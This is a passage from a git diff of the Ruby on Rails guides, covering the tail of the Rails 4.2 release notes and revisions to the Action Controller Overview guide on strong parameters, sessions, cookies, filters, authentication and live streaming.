on string columns. + ([Pull Request](https://github.com/rails/rails/pull/14579)) + +* Added support for the `citext` column type in the PostgreSQL adapter. + ([Pull Request](https://github.com/rails/rails/pull/12523)) + +* Added support for user-created range types in the PostgreSQL adapter. + ([Commit](https://github.com/rails/rails/commit/4cb47167e747e8f9dc12b0ddaf82bdb68c03e032)) + +* `sqlite3:///some/path` now resolves to the absolute system path + `/some/path`. For relative paths, use `sqlite3:some/path` instead. + (Previously, `sqlite3:///some/path` resolved to the relative path + `some/path`. This behavior was deprecated on Rails 4.1). + ([Pull Request](https://github.com/rails/rails/pull/14569)) + +* Added support for fractional seconds for MySQL 5.6 and above. + (Pull Request [1](https://github.com/rails/rails/pull/8240), + [2](https://github.com/rails/rails/pull/14359)) + +* Added `ActiveRecord::Base#pretty_print` to pretty print models. + ([Pull Request](https://github.com/rails/rails/pull/15172)) + +* `ActiveRecord::Base#reload` now behaves the same as `m = Model.find(m.id)`, + meaning that it no longer retains the extra attributes from custom + `SELECT`s. + ([Pull Request](https://github.com/rails/rails/pull/15866)) + +* `ActiveRecord::Base#reflections` now returns a hash with string keys instead + of symbol keys. ([Pull Request](https://github.com/rails/rails/pull/17718)) + +* The `references` method in migrations now supports a `type` option for + specifying the type of the foreign key (e.g. `:uuid`). + ([Pull Request](https://github.com/rails/rails/pull/16231)) + +Active Model +------------ + +Please refer to the [Changelog][active-model] for detailed changes. + +### Removals + +* Removed deprecated `Validator#setup` without replacement. + ([Pull Request](https://github.com/rails/rails/pull/10716)) + +### Deprecations + +* Deprecated `reset_#{attribute}` in favor of `restore_#{attribute}`. + ([Pull Request](https://github.com/rails/rails/pull/16180)) + +* Deprecated `ActiveModel::Dirty#reset_changes` in favor of + `clear_changes_information`. + ([Pull Request](https://github.com/rails/rails/pull/16180)) + +### Notable changes + +* Introduced `validate` as an alias for `valid?`. + ([Pull Request](https://github.com/rails/rails/pull/14456)) + +* Introduced the `restore_attributes` method in `ActiveModel::Dirty` to restore + the changed (dirty) attributes to their previous values. + (Pull Request [1](https://github.com/rails/rails/pull/14861), + [2](https://github.com/rails/rails/pull/16180)) + +* `has_secure_password` no longer disallows blank passwords (i.e. passwords + that contains only spaces) by default. + ([Pull Request](https://github.com/rails/rails/pull/16412)) + +* `has_secure_password` now verifies that the given password is less than 72 + characters if validations are enabled. + ([Pull Request](https://github.com/rails/rails/pull/15708)) + +Active Support +-------------- + +Please refer to the [Changelog][active-support] for detailed changes. + +### Removals + +* Removed deprecated `Numeric#ago`, `Numeric#until`, `Numeric#since`, + `Numeric#from_now`. + ([Commit](https://github.com/rails/rails/commit/f1eddea1e3f6faf93581c43651348f48b2b7d8bb)) + +* Removed deprecated string based terminators for `ActiveSupport::Callbacks`. + ([Pull Request](https://github.com/rails/rails/pull/15100)) + +### Deprecations + +* Deprecated `Kernel#silence_stderr`, `Kernel#capture` and `Kernel#quietly` + without replacement. + ([Pull Request](https://github.com/rails/rails/pull/13392)) + +* Deprecated `Class#superclass_delegating_accessor`, use + `Class#class_attribute` instead. + ([Pull Request](https://github.com/rails/rails/pull/14271)) + +* Deprecated `ActiveSupport::SafeBuffer#prepend!` as + `ActiveSupport::SafeBuffer#prepend` now performs the same function. + ([Pull Request](https://github.com/rails/rails/pull/14529)) + +### Notable changes + +* Introduced a new configuration option `active_support.test_order` for + specifying the order test cases are executed. This option currently defaults + to `:sorted` but will be changed to `:random` in Rails 5.0. + ([Commit](https://github.com/rails/rails/commit/53e877f7d9291b2bf0b8c425f9e32ef35829f35b)) + +* `Object#try` and `Object#try!` can now be used without an explicit receiver in the block. + ([Commit](https://github.com/rails/rails/commit/5e51bdda59c9ba8e5faf86294e3e431bd45f1830), + [Pull Request](https://github.com/rails/rails/pull/17361)) + +* The `travel_to` test helper now truncates the `usec` component to 0. + ([Commit](https://github.com/rails/rails/commit/9f6e82ee4783e491c20f5244a613fdeb4024beb5)) + +* Introduced `Object#itself` as an identity function. + (Commit [1](https://github.com/rails/rails/commit/702ad710b57bef45b081ebf42e6fa70820fdd810), + [2](https://github.com/rails/rails/commit/64d91122222c11ad3918cc8e2e3ebc4b0a03448a)) + +* `Object#with_options` can now be used without an explicit receiver in the block. + ([Pull Request](https://github.com/rails/rails/pull/16339)) + +* Introduced `String#truncate_words` to truncate a string by a number of words. + ([Pull Request](https://github.com/rails/rails/pull/16190)) + +* Added `Hash#transform_values` and `Hash#transform_values!` to simplify a + common pattern where the values of a hash must change, but the keys are left + the same. + ([Pull Request](https://github.com/rails/rails/pull/15819)) + +* The `humanize` inflector helper now strips any leading underscores. + ([Commit](https://github.com/rails/rails/commit/daaa21bc7d20f2e4ff451637423a25ff2d5e75c7)) + +* Introduced `Concern#class_methods` as an alternative to + `module ClassMethods`, as well as `Kernel#concern` to avoid the + `module Foo; extend ActiveSupport::Concern; end` boilerplate. + ([Commit](https://github.com/rails/rails/commit/b16c36e688970df2f96f793a759365b248b582ad)) + +* New [guide](constant_autoloading_and_reloading.html) about constant autoloading and reloading. + +Credits +------- + +See the +[full list of contributors to Rails](http://contributors.rubyonrails.org/) for +the many people who spent many hours making Rails the stable and robust +framework it is today. Kudos to all of them. + +[railties]: https://github.com/rails/rails/blob/4-2-stable/railties/CHANGELOG.md +[action-pack]: https://github.com/rails/rails/blob/4-2-stable/actionpack/CHANGELOG.md +[action-view]: https://github.com/rails/rails/blob/4-2-stable/actionview/CHANGELOG.md +[action-mailer]: https://github.com/rails/rails/blob/4-2-stable/actionmailer/CHANGELOG.md +[active-record]: https://github.com/rails/rails/blob/4-2-stable/activerecord/CHANGELOG.md +[active-model]: https://github.com/rails/rails/blob/4-2-stable/activemodel/CHANGELOG.md +[active-support]: https://github.com/rails/rails/blob/4-2-stable/activesupport/CHANGELOG.md diff --git a/guides/source/_license.html.erb b/guides/source/_license.html.erb index 00b4466f50..d22f016948 100644 --- a/guides/source/_license.html.erb +++ b/guides/source/_license.html.erb @@ -1,2 +1,2 @@ -<p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-Share Alike 3.0</a> License</p> +<p>This work is licensed under a <a href="https://creativecommons.org/licenses/by-sa/4.0/">Creative Commons Attribution-ShareAlike 4.0 International</a> License</p> <p>"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.</p> diff --git a/guides/source/_welcome.html.erb b/guides/source/_welcome.html.erb index a50961a0c7..67f5f1cdd5 100644 --- a/guides/source/_welcome.html.erb +++ b/guides/source/_welcome.html.erb @@ -10,10 +10,15 @@ </p> <% else %> <p> - These are the new guides for Rails 3.2 based on <a href="https://github.com/rails/rails/tree/<%= @version %>"><%= @version %></a>. + These are the new guides for Rails 5.0 based on <a href="https://github.com/rails/rails/tree/<%= @version %>"><%= @version %></a>. These guides are designed to make you immediately productive with Rails, and to help you understand how all of the pieces fit together. </p> <% end %> <p> - The guides for Rails 2.3.x are available at <a href="http://guides.rubyonrails.org/v2.3.11/">http://guides.rubyonrails.org/v2.3.11/</a>. +The guides for earlier releases: +<a href="http://guides.rubyonrails.org/v4.2.0/">Rails 4.2.0</a>, +<a href="http://guides.rubyonrails.org/v4.1.8/">Rails 4.1.8</a>, +<a href="http://guides.rubyonrails.org/v4.0.12/">Rails 4.0.12</a>, +<a href="http://guides.rubyonrails.org/v3.2.21/">Rails 3.2.21</a> and +<a href="http://guides.rubyonrails.org/v2.3.11/">Rails 2.3.11</a>. </p> diff --git a/guides/source/action_controller_overview.md b/guides/source/action_controller_overview.md index 46ff9027fd..36d1b6de83 100644 --- a/guides/source/action_controller_overview.md +++ b/guides/source/action_controller_overview.md @@ -1,3 +1,5 @@ +**DO NOT READ THIS FILE IN GITHUB, GUIDES ARE PUBLISHED IN http://guides.rubyonrails.org.** + Action Controller Overview ========================== @@ -6,6 +8,7 @@ In this guide you will learn how controllers work and how they fit into the requ After reading this guide, you will know: * How to follow the flow of a request through a controller. +* How to restrict parameters passed to your controller. * Why and how to store data in the session or cookies. * How to work with filters to execute code during request processing. * How to use Action Controller's built-in HTTP authentication. @@ -26,6 +29,16 @@ A controller can thus be thought of as a middle man between models and views. It NOTE: For more details on the routing process, see [Rails Routing from the Outside In](routing.html). +Controller Naming Convention +---------------------------- + +The naming convention of controllers in Rails favors pluralization of the last word in the controller's name, although it is not strictly required (e.g. `ApplicationController`). For example, `ClientsController` is preferable to `ClientController`, `SiteAdminsController` is preferable to `SiteAdminController` or `SitesAdminsController`, and so on. + +Following this convention will allow you to use the default route generators (e.g. `resources`, etc) without needing to qualify each `:path` or `:controller`, and keeps URL and path helpers' usage consistent throughout your application. See [Layouts & Rendering Guide](layouts_and_rendering.html) for more details. + +NOTE: The controller naming convention differs from the naming convention of models, which are expected to be named in singular form. + + Methods and Actions ------------------- @@ -38,7 +51,7 @@ class ClientsController < ApplicationController end ``` -As an example, if a user goes to `/clients/new` in your application to add a new client, Rails will create an instance of `ClientsController` and run the `new` method. Note that the empty method from the example above could work just fine because Rails will by default render the `new.html.erb` view unless the action says otherwise. The `new` method could make available to the view a `@client` instance variable by creating a new `Client`: +As an example, if a user goes to `/clients/new` in your application to add a new client, Rails will create an instance of `ClientsController` and run the `new` method. Note that the empty method from the example above would work just fine because Rails will by default render the `new.html.erb` view unless the action says otherwise. The `new` method could make available to the view a `@client` instance variable by creating a new `Client`: ```ruby def new @@ -58,7 +71,7 @@ Parameters You will probably want to access data sent in by the user or other parameters in your controller actions. There are two kinds of parameters possible in a web application. The first are parameters that are sent as part of the URL, called query string parameters. The query string is everything after "?" in the URL. The second type of parameter is usually referred to as POST data. This information usually comes from an HTML form which has been filled in by the user. It's called POST data because it can only be sent as part of an HTTP POST request. Rails does not make any distinction between query string parameters and POST parameters, and both are available in the `params` hash in your controller: ```ruby -class ClientsController < ActionController::Base +class ClientsController < ApplicationController # This action uses query string parameters because it gets run # by an HTTP GET request, but this does not make any difference # to the way in which the parameters are accessed. The URL for @@ -101,6 +114,10 @@ NOTE: The actual URL in this example will be encoded as "/clients?ids%5b%5d=1&id The value of `params[:ids]` will now be `["1", "2", "3"]`. Note that parameter values are always strings; Rails makes no attempt to guess or cast the type. +NOTE: Values such as `[nil]` or `[nil, nil, ...]` in `params` are replaced +with `[]` for security reasons by default. See [Security Guide](security.html#unsafe-query-generation) +for more information. + To send a hash you include the key name inside the brackets: ```html @@ -112,23 +129,23 @@ To send a hash you include the key name inside the brackets: </form> ``` -When this form is submitted, the value of `params[:client]` will be `{"name" => "Acme", "phone" => "12345", "address" => {"postcode" => "12345", "city" => "Carrot City"}}`. Note the nested hash in `params[:client][:address]`. +When this form is submitted, the value of `params[:client]` will be `{ "name" => "Acme", "phone" => "12345", "address" => { "postcode" => "12345", "city" => "Carrot City" } }`. Note the nested hash in `params[:client][:address]`. -Note that the `params` hash is actually an instance of `HashWithIndifferentAccess` from Active Support, which acts like a hash that lets you use symbols and strings interchangeably as keys. +Note that the `params` hash is actually an instance of `ActiveSupport::HashWithIndifferentAccess`, which acts like a hash but lets you use symbols and strings interchangeably as keys. -### JSON/XML parameters +### JSON parameters -If you're writing a web service application, you might find yourself more comfortable on accepting parameters in JSON or XML format. Rails will automatically convert your parameters into `params` hash, which you'll be able to access like you would normally do with form data. +If you're writing a web service application, you might find yourself more comfortable accepting parameters in JSON format. If the "Content-Type" header of your request is set to "application/json", Rails will automatically convert your parameters into the `params` hash, which you can access as you would normally. -So for example, if you are sending this JSON parameter: +So for example, if you are sending this JSON content: ```json { "company": { "name": "acme", "address": "123 Carrot Street" } } ``` -You'll get `params[:company]` as `{ :name => "acme", "address" => "123 Carrot Street" }`. +You'll get `params[:company]` as `{ "name" => "acme", "address" => "123 Carrot Street" }`. -Also, if you've turned on `config.wrap_parameters` in your initializer or calling `wrap_parameters` in your controller, you can safely omit the root element in the JSON/XML parameter. The parameters will be cloned and wrapped in the key according to your controller's name by default. So the above parameter can be written as: +Also, if you've turned on `config.wrap_parameters` in your initializer or calling `wrap_parameters` in your controller, you can safely omit the root element in the JSON parameter. The parameters will be cloned and wrapped in the key according to your controller's name by default. So the above parameter can be written as: ```json { "name": "acme", "address": "123 Carrot Street" } @@ -137,17 +154,19 @@ Also, if you've turned on `config.wrap_parameters` in your initializer or callin And assume that you're sending the data to `CompaniesController`, it would then be wrapped in `:company` key like this: ```ruby -{ :name => "acme", :address => "123 Carrot Street", :company => { :name => "acme", :address => "123 Carrot Street" }} +{ name: "acme", address: "123 Carrot Street", company: { name: "acme", address: "123 Carrot Street" } } ``` You can customize the name of the key or specific parameters you want to wrap by consulting the [API documentation](http://api.rubyonrails.org/classes/ActionController/ParamsWrapper.html) +NOTE: Support for parsing XML parameters has been extracted into a gem named `actionpack-xml_parser` + ### Routing Parameters The `params` hash will always contain the `:controller` and `:action` keys, but you should use the methods `controller_name` and `action_name` instead to access these values. Any other parameters defined by the routing, such as `:id` will also be available. As an example, consider a listing of clients where the list can show either active or inactive clients. We can add a route which captures the `:status` parameter in a "pretty" URL: ```ruby -match '/clients/:status' => 'clients#index', foo: "bar" +get '/clients/:status' => 'clients#index', foo: 'bar' ``` In this case, when a user opens the URL `/clients/active`, `params[:status]` will be set to "active". When this route is used, `params[:foo]` will also be set to "bar" just like it was passed in the query string. In the same way `params[:action]` will contain "index". @@ -168,24 +187,176 @@ These options will be used as a starting point when generating URLs, so it's pos If you define `default_url_options` in `ApplicationController`, as in the example above, it would be used for all URL generation. The method can also be defined in one specific controller, in which case it only affects URLs generated there. +### Strong Parameters + +With strong parameters, Action Controller parameters are forbidden to +be used in Active Model mass assignments until they have been +whitelisted. This means you'll have to make a conscious choice about +which attributes to allow for mass updating and thus prevent +accidentally exposing that which shouldn't be exposed. + +In addition, parameters can be marked as required and flow through a +predefined raise/rescue flow to end up as a 400 Bad Request with no +effort. + +```ruby +class PeopleController < ActionController::Base + # This will raise an ActiveModel::ForbiddenAttributes exception + # because it's using mass assignment without an explicit permit + # step. + def create + Person.create(params[:person]) + end + + # This will pass with flying colors as long as there's a person key + # in the parameters, otherwise it'll raise a + # ActionController::ParameterMissing exception, which will get + # caught by ActionController::Base and turned into that 400 Bad + # Request reply. + def update + person = current_account.people.find(params[:id]) + person.update!(person_params) + redirect_to person + end + + private + # Using a private method to encapsulate the permissible parameters + # is just a good pattern since you'll be able to reuse the same + # permit list between create and update. Also, you can specialize + # this method with per-user checking of permissible attributes. + def person_params + params.require(:person).permit(:name, :age) + end +end +``` + +#### Permitted Scalar Values + +Given + +```ruby +params.permit(:id) +``` + +the key `:id` will pass the whitelisting if it appears in `params` and +it has a permitted scalar value associated. Otherwise the key is going +to be filtered out, so arrays, hashes, or any other objects cannot be +injected. + +The permitted scalar types are `String`, `Symbol`, `NilClass`, +`Numeric`, `TrueClass`, `FalseClass`, `Date`, `Time`, `DateTime`, +`StringIO`, `IO`, `ActionDispatch::Http::UploadedFile` and +`Rack::Test::UploadedFile`. + +To declare that the value in `params` must be an array of permitted +scalar values map the key to an empty array: + +```ruby +params.permit(id: []) +``` + +To whitelist an entire hash of parameters, the `permit!` method can be +used: + +```ruby +params.require(:log_entry).permit! +``` + +This will mark the `:log_entry` parameters hash and any sub-hash of it +permitted. Extreme care should be taken when using `permit!` as it +will allow all current and future model attributes to be +mass-assigned. + +#### Nested Parameters + +You can also use permit on nested parameters, like: + +```ruby +params.permit(:name, { emails: [] }, + friends: [ :name, + { family: [ :name ], hobbies: [] }]) +``` + +This declaration whitelists the `name`, `emails` and `friends` +attributes. It is expected that `emails` will be an array of permitted +scalar values and that `friends` will be an array of resources with +specific attributes : they should have a `name` attribute (any +permitted scalar values allowed), a `hobbies` attribute as an array of +permitted scalar values, and a `family` attribute which is restricted +to having a `name` (any permitted scalar values allowed, too). + +#### More Examples + +You want to also use the permitted attributes in the `new` +action. This raises the problem that you can't use `require` on the +root key because normally it does not exist when calling `new`: + +```ruby +# using `fetch` you can supply a default and use +# the Strong Parameters API from there. +params.fetch(:blog, {}).permit(:title, :author) +``` + +`accepts_nested_attributes_for` allows you to update and destroy +associated records. This is based on the `id` and `_destroy` +parameters: + +```ruby +# permit :id and :_destroy +params.require(:author).permit(:name, books_attributes: [:title, :id, :_destroy]) +``` + +Hashes with integer keys are treated differently and you can declare +the attributes as if they were direct children. You get these kinds of +parameters when you use `accepts_nested_attributes_for` in combination +with a `has_many` association: + +```ruby +# To whitelist the following data: +# {"book" => {"title" => "Some Book", +# "chapters_attributes" => { "1" => {"title" => "First Chapter"}, +# "2" => {"title" => "Second Chapter"}}}} + +params.require(:book).permit(:title, chapters_attributes: [:title]) +``` + +#### Outside the Scope of Strong Parameters + +The strong parameter API was designed with the most common use cases +in mind. It is not meant as a silver bullet to handle all your +whitelisting problems. However you can easily mix the API with your +own code to adapt to your situation. + +Imagine a scenario where you have parameters representing a product +name and a hash of arbitrary data associated with that product, and +you want to whitelist the product name attribute but also the whole +data hash. The strong parameters API doesn't let you directly +whitelist the whole of a nested hash with any keys, but you can use +the keys of your nested hash to declare what to whitelist: + +```ruby +def product_params + params.require(:product).permit(:name, data: params[:product][:data].try(:keys)) +end +``` Session ------- Your application has a session for each user in which you can store small amounts of data that will be persisted between requests. The session is only available in the controller and the view and can use one of a number of different storage mechanisms: -* ActionDispatch::Session::CookieStore - Stores everything on the client. -* ActionDispatch::Session::CacheStore - Stores the data in the Rails cache. -* @ActionDispatch::Session::ActiveRecordStore@ - Stores the data in a database using Active Record. (require `activerecord-session_store` gem). -* @ActionDispatch::Session::MemCacheStore@ - Stores the data in a memcached cluster (this is a legacy implementation; consider using CacheStore instead). +* `ActionDispatch::Session::CookieStore` - Stores everything on the client. +* `ActionDispatch::Session::CacheStore` - Stores the data in the Rails cache. +* `ActionDispatch::Session::ActiveRecordStore` - Stores the data in a database using Active Record. (require `activerecord-session_store` gem). +* `ActionDispatch::Session::MemCacheStore` - Stores the data in a memcached cluster (this is a legacy implementation; consider using CacheStore instead). All session stores use a cookie to store a unique ID for each session (you must use a cookie, Rails will not allow you to pass the session ID in the URL as this is less secure). -For most stores, this ID is used to look up the session data on the server, e.g. in a database table. There is one exception, and that is the default and recommended session store - the CookieStore - which stores all session data in the cookie itself (the ID is still available to you if you need it). This has the advantage of being very lightweight and it requires zero setup in a new application in order to use the session. The cookie data is cryptographically signed to make it tamper-proof, but it is not encrypted, so anyone with access to it can read its contents but not edit it (Rails will not accept it if it has been edited). +For most stores, this ID is used to look up the session data on the server, e.g. in a database table. There is one exception, and that is the default and recommended session store - the CookieStore - which stores all session data in the cookie itself (the ID is still available to you if you need it). This has the advantage of being very lightweight and it requires zero setup in a new application in order to use the session. The cookie data is cryptographically signed to make it tamper-proof. And it is also encrypted so anyone with access to it can't read its contents. (Rails will not accept it if it has been edited). -The CookieStore can store around 4kB of data — much less than the others — but this is usually enough. Storing large amounts of data in the session is discouraged no matter which session store your application uses. You should especially avoid storing complex objects (anything other than basic Ruby objects, the most common example being model instances) in the session, as the server might not be able to reassemble them between requests, which will result in an error. +The CookieStore can store around 4kB of data - much less than the others - but this is usually enough. Storing large amounts of data in the session is discouraged no matter which session store your application uses. You should especially avoid storing complex objects (anything other than basic Ruby objects, the most common example being model instances) in the session, as the server might not be able to reassemble them between requests, which will result in an error. -If your user sessions don't store critical data or don't need to be around for long periods (for instance if you just use the flash for messaging), you can consider using ActionDispatch::Session::CacheStore. This will store sessions using the cache implementation you have configured for your application. The advantage of this is that you can use your existing cache infrastructure for storing sessions without requiring any additional setup or administration. The downside, of course, is that the sessions will be ephemeral and could disappear at any time. +If your user sessions don't store critical data or don't need to be around for long periods (for instance if you just use the flash for messaging), you can consider using `ActionDispatch::Session::CacheStore`. This will store sessions using the cache implementation you have configured for your application. The advantage of this is that you can use your existing cache infrastructure for storing sessions without requiring any additional setup or administration. The downside, of course, is that the sessions will be ephemeral and could disappear at any time. Read more about session storage in the [Security Guide](security.html). @@ -194,34 +365,49 @@ If you need a different session storage mechanism, you can change it in the `con ```ruby # Use the database for sessions instead of the cookie-based default, # which shouldn't be used to store highly confidential information -# (create the session table with "script/rails g active_record:session_migration") -# YourApp::Application.config.session_store :active_record_store +# (create the session table with "rails g active_record:session_migration") +# Rails.application.config.session_store :active_record_store ``` Rails sets up a session key (the name of the cookie) when signing the session data. These can also be changed in `config/initializers/session_store.rb`: ```ruby # Be sure to restart your server when you modify this file. -YourApp::Application.config.session_store :cookie_store, key: '_your_app_session' +Rails.application.config.session_store :cookie_store, key: '_your_app_session' ``` You can also pass a `:domain` key and specify the domain name for the cookie: ```ruby # Be sure to restart your server when you modify this file. -YourApp::Application.config.session_store :cookie_store, key: '_your_app_session', domain: ".example.com" +Rails.application.config.session_store :cookie_store, key: '_your_app_session', domain: ".example.com" ``` -Rails sets up (for the CookieStore) a secret key used for signing the session data. This can be changed in `config/initializers/secret_token.rb` +Rails sets up (for the CookieStore) a secret key used for signing the session data. This can be changed in `config/secrets.yml` ```ruby # Be sure to restart your server when you modify this file. -# Your secret key for verifying the integrity of signed cookies. +# Your secret key is used for verifying the integrity of signed cookies. # If you change this key, all old signed cookies will become invalid! + # Make sure the secret is at least 30 characters and all random, # no regular words or you'll be exposed to dictionary attacks. -YourApp::Application.config.secret_key_base = '49d3f3de9ed86c74b94ad6bd0...' +# You can use `rake secret` to generate a secure secret key. + +# Make sure the secrets in this file are kept private +# if you're sharing your code publicly. + +development: + secret_key_base: a75d... + +test: + secret_key_base: 492f... + +# Do not keep production secrets in the repository, +# instead read values from the environment. +production: + secret_key_base: <%= ENV["SECRET_KEY_BASE"] %> ``` NOTE: Changing the secret when using the `CookieStore` will invalidate all existing sessions. @@ -245,7 +431,7 @@ class ApplicationController < ActionController::Base # logging out removes it. def current_user @_current_user ||= session[:current_user_id] && - User.find_by_id(session[:current_user_id]) + User.find_by(id: session[:current_user_id]) end end ``` @@ -373,7 +559,7 @@ end Cookies ------- -Your application can store small amounts of data on the client — called cookies — that will be persisted across requests and even sessions. Rails provides easy access to cookies via the `cookies` method, which — much like the `session` — works like a hash: +Your application can store small amounts of data on the client - called cookies - that will be persisted across requests and even sessions. Rails provides easy access to cookies via the `cookies` method, which - much like the `session` - works like a hash: ```ruby class CommentsController < ApplicationController @@ -403,10 +589,66 @@ end Note that while for session values you set the key to `nil`, to delete a cookie value you should use `cookies.delete(:key)`. -Rendering xml and json data +Rails also provides a signed cookie jar and an encrypted cookie jar for storing +sensitive data. The signed cookie jar appends a cryptographic signature on the +cookie values to protect their integrity. The encrypted cookie jar encrypts the +values in addition to signing them, so that they cannot be read by the end user. +Refer to the [API documentation](http://api.rubyonrails.org/classes/ActionDispatch/Cookies.html) +for more details. + +These special cookie jars use a serializer to serialize the assigned values into +strings and deserializes them into Ruby objects on read. + +You can specify what serializer to use: + +```ruby +Rails.application.config.action_dispatch.cookies_serializer = :json +``` + +The default serializer for new applications is `:json`. For compatibility with +old applications with existing cookies, `:marshal` is used when `serializer` +option is not specified. + +You may also set this option to `:hybrid`, in which case Rails would transparently +deserialize existing (`Marshal`-serialized) cookies on read and re-write them in +the `JSON` format. This is useful for migrating existing applications to the +`:json` serializer. + +It is also possible to pass a custom serializer that responds to `load` and +`dump`: + +```ruby +Rails.application.config.action_dispatch.cookies_serializer = MyCustomSerializer +``` + +When using the `:json` or `:hybrid` serializer, you should beware that not all +Ruby objects can be serialized as JSON. For example, `Date` and `Time` objects +will be serialized as strings, and `Hash`es will have their keys stringified. + +```ruby +class CookiesController < ApplicationController + def set_cookie + cookies.encrypted[:expiration_date] = Date.tomorrow # => Thu, 20 Mar 2014 + redirect_to action: 'read_cookie' + end + + def read_cookie + cookies.encrypted[:expiration_date] # => "2014-03-20" + end +end +``` + +It's advisable that you only store simple data (strings and numbers) in cookies. +If you have to store complex objects, you would need to handle the conversion +manually when reading the values on subsequent requests. + +If you use the cookie session store, this would apply to the `session` and +`flash` hash as well. + +Rendering XML and JSON data --------------------------- -ActionController makes it extremely easy to render `xml` or `json` data. If you generate a controller using scaffolding then it would look something like this: +ActionController makes it extremely easy to render `XML` or `JSON` data. If you've generated a controller using scaffolding, it would look something like this: ```ruby class UsersController < ApplicationController @@ -421,7 +663,7 @@ class UsersController < ApplicationController end ``` -Notice that in the above case code is `render xml: @users` and not `render xml: @users.to_xml`. That is because if the input is not string then rails automatically invokes `to_xml` . +You may notice in the above code that we're using `render xml: @users`, not `render xml: @users.to_xml`. If the object is not a String, then Rails will automatically invoke `to_xml` for us. Filters ------- @@ -444,15 +686,6 @@ class ApplicationController < ActionController::Base redirect_to new_login_url # halts request cycle end end - - # The logged_in? method simply returns true if the user is logged - # in and false otherwise. It does this by "booleanizing" the - # current_user method we created previously using a double ! operator. - # Note that this is not common in Ruby and is discouraged unless you - # really mean to convert something into true or false. - def logged_in? - !!current_user - end end ``` @@ -479,7 +712,7 @@ In addition to "before" filters, you can also run filters after an action has be For example, in a website where changes have an approval workflow an administrator could be able to preview them easily, just apply them within a transaction: ```ruby -class ChangesController < ActionController::Base +class ChangesController < ApplicationController around_action :wrap_in_transaction, only: :show private @@ -509,14 +742,17 @@ The first is to use a block directly with the *_action methods. The block receiv ```ruby class ApplicationController < ActionController::Base before_action do |controller| - redirect_to new_login_url unless controller.send(:logged_in?) + unless controller.send(:logged_in?) + flash[:error] = "You must be logged in to access this section" + redirect_to new_login_url + end end end ``` Note that the filter in this case uses `send` because the `logged_in?` method is private and the filter is not run in the scope of the controller. This is not the recommended way to implement this particular filter, but in more simple cases it might be useful. -The second way is to use a class (actually, any object that responds to the right methods will do) to handle the filtering. This is useful in cases that are more complex and can not be implemented in a readable and reusable way using the two other methods. As an example, you could rewrite the login filter again to use a class: +The second way is to use a class (actually, any object that responds to the right methods will do) to handle the filtering. This is useful in cases that are more complex and cannot be implemented in a readable and reusable way using the two other methods. As an example, you could rewrite the login filter again to use a class: ```ruby class ApplicationController < ActionController::Base @@ -524,16 +760,16 @@ class ApplicationController < ActionController::Base end class LoginFilter - def self.filter(controller) + def self.before(controller) unless controller.send(:logged_in?) - controller.flash[:error] = "You must be logged in" + controller.flash[:error] = "You must be logged in to access this section" controller.redirect_to controller.new_login_url end end end ``` -Again, this is not an ideal example for this filter, because it's not run in the scope of the controller but gets the controller passed as an argument. The filter class has a class method `filter` which gets run before or after the action, depending on if it's a before or after filter. Classes used as around filters can also use the same `filter` method, which will get run in the same way. The method must `yield` to execute the action. Alternatively, it can have both a `before` and an `after` method that are run before and after the action. +Again, this is not an ideal example for this filter, because it's not run in the scope of the controller but gets the controller passed as an argument. The filter class must implement a method with the same name as the filter, so for the `before_action` filter the class must implement a `before` method, and so on. The `around` method must `yield` to execute the action. Request Forgery Protection -------------------------- @@ -633,30 +869,30 @@ Rails comes with two built-in HTTP authentication mechanisms: HTTP basic authentication is an authentication scheme that is supported by the majority of browsers and other HTTP clients. As an example, consider an administration section which will only be available by entering a username and a password into the browser's HTTP basic dialog window. Using the built-in authentication is quite easy and only requires you to use one method, `http_basic_authenticate_with`. ```ruby -class AdminController < ApplicationController +class AdminsController < ApplicationController http_basic_authenticate_with name: "humbaba", password: "5baa61e4" end ``` -With this in place, you can create namespaced controllers that inherit from `AdminController`. The filter will thus be run for all actions in those controllers, protecting them with HTTP basic authentication. +With this in place, you can create namespaced controllers that inherit from `AdminsController`. The filter will thus be run for all actions in those controllers, protecting them with HTTP basic authentication. ### HTTP Digest Authentication HTTP digest authentication is superior to the basic authentication as it does not require the client to send an unencrypted password over the network (though HTTP basic authentication is safe over HTTPS). Using digest authentication with Rails is quite easy and only requires using one method, `authenticate_or_request_with_http_digest`. ```ruby -class AdminController < ApplicationController +class AdminsController < ApplicationController USERS = { "lifo" => "world" } before_action :authenticate private - def authenticate - authenticate_or_request_with_http_digest do |username| - USERS[username] + def authenticate + authenticate_or_request_with_http_digest do |username| + USERS[username] + end end - end end ``` @@ -683,13 +919,13 @@ class ClientsController < ApplicationController private - def generate_pdf(client) - Prawn::Document.new do - text client.name, align: :center - text "Address: #{client.address}" - text "Email: #{client.email}" - end.render - end + def generate_pdf(client) + Prawn::Document.new do + text client.name, align: :center + text "Address: #{client.address}" + text "Email: #{client.email}" + end.render + end end ``` @@ -751,6 +987,97 @@ Now the user can request to get a PDF version of a client just by adding ".pdf" GET /clients/1.pdf ``` +### Live Streaming of Arbitrary Data + +Rails allows you to stream more than just files. In fact, you can stream anything +you would like in a response object. The `ActionController::Live` module allows +you to create a persistent connection with a browser. Using this module, you will +be able to send arbitrary data to the browser at specific points in time. + +NOTE: The default Rails server (WEBrick) is a buffering web server and does not +support streaming. In order to use this feature, you'll need to use a non buffering +server like [Puma](http://puma.io), [Rainbows](http://rainbows.bogomips.org) +or [Passenger](https://www.phusionpassenger.com). + +#### Incorporating Live Streaming + +Including `ActionController::Live` inside of your controller class will provide +all actions inside of the controller the ability to stream data. You can mix in +the module like so: + +```ruby +class MyController < ActionController::Base + include ActionController::Live + + def stream + response.headers['Content-Type'] = 'text/event-stream' + 100.times { + response.stream.write "hello world\n" + sleep 1 + } + ensure + response.stream.close + end +end +``` + +The above code will keep a persistent connection with the browser and send 100 +messages of `"hello world\n"`, each one second apart. + +There are a couple of things to notice in the above example. We need to make +sure to close the response stream. Forgetting to close the stream will leave +the socket open forever. We also have to set the content type to `text/event-stream` +before we write to the response stream. This is because headers cannot be written +after the response has been committed (when `response.committed` returns a truthy +value), which occurs when you `write` or `commit` the response stream. + +#### Example Usage + +Let's suppose that you were making a Karaoke machine and a user wants to get the +lyrics for a particular song. Each `Song` has a particular number of lines and +each line takes time `num_beats` to finish singing. + +If we wanted to return the lyrics in Karaoke fashion (only sending the line when +the singer has finished the previous line), then we could use `ActionController::Live` +as follows: + +```ruby +class LyricsController < ActionController::Base + include ActionController::Live + + def show + response.headers['Content-Type'] = 'text/event-stream' + song = Song.find(params[:id]) + + song.each do 